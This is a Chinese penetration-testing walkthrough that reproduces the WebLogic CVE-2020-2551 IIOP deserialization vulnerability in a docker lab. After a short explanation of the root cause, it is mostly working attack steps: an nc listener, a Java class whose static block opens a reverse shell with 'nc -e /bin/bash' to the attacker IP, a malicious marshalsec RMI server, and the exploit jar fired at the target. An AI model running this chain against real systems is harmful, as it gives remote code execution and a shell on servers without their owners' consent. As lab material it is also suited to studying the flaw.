CVE-2020-2551

前言

2020年1月15日,Oracle发布了一系列的安全补丁,其中Oracle WebLogic Server产品有高危漏洞,漏洞编号CVE-2020-2551,CVSS评分9.8分,漏洞利用难度低,可基于IIOP协议执行远程代码。经过分析这次漏洞主要原因是错误的过滤JtaTransactionManager类,JtaTransactionManager父类AbstractPlatformTransactionManager在之前的补丁里面就加入到黑名单列表了,T3协议使用的是resolveClass方法去过滤的,resolveClass方法是会读取父类的,所以T3协议这样过滤是没问题的。但是IIOP协议这块,虽然也是使用的这个黑名单列表,但不是使用resolveClass方法去判断的,这样默认只会判断本类的类名,而JtaTransactionManager类是不在黑名单列表里面的,它的父类才在黑名单列表里面,这样就可以反序列化JtaTransactionManager类了,而JtaTransactionManager类是存在jndi注入的。

环境搭建

直接使用vulhub中的CVE-2017-10271就可以
使用git克隆到本地
git clone https://github.com/vulhub/vul...
CVE-2020-2551_第1张图片
进入对应环境
cd vulhub/weblogic/CVE-2017-10271
图片

启动docker漏洞环境

sudo docker-compose up -d
CVE-2020-2551_第2张图片
搭建完成以后,访问7001/console如下图所示即为搭建成功
CVE-2020-2551_第3张图片

检测是否存在漏洞

python3 CVE-2020-2551.py -u http://192.168.52.128:7001/
图片
发现存在漏洞

漏洞利用

攻击机ip:192.168.0.101
靶机ip:192.168.52.128
攻击机开启监听nc -lvnp 3333
图片
编写一个exp.java文件:

import java.io.IOException;
public class exp {
        static{
                try {                        java.lang.Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","nc -e /bin/bash 192.168.0.101 3333"});    
            } catch (IOException e) {                               e.printStackTrace(); 
               }
        }        public static void main(String[] args) {​  
      }
}

CVE-2020-2551_第4张图片

图片
启一个web服务,需要与exp.class在同一文件夹
图片
使用marshalsec起一个恶意的RMI服务java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.0.101/#exp" 1099
图片
然后开始进行攻击,使用命令,成功弹出shell:java -jar weblogic_CVE_2020_2551.jar 192.168.52.128 7001 rmi://192.168.0.101:1099/exp
CVE-2020-2551_第5张图片
下载工具获取私信 学习渗透请关注微信公众号:助安社区
图片

你可能感兴趣的:(渗透测试)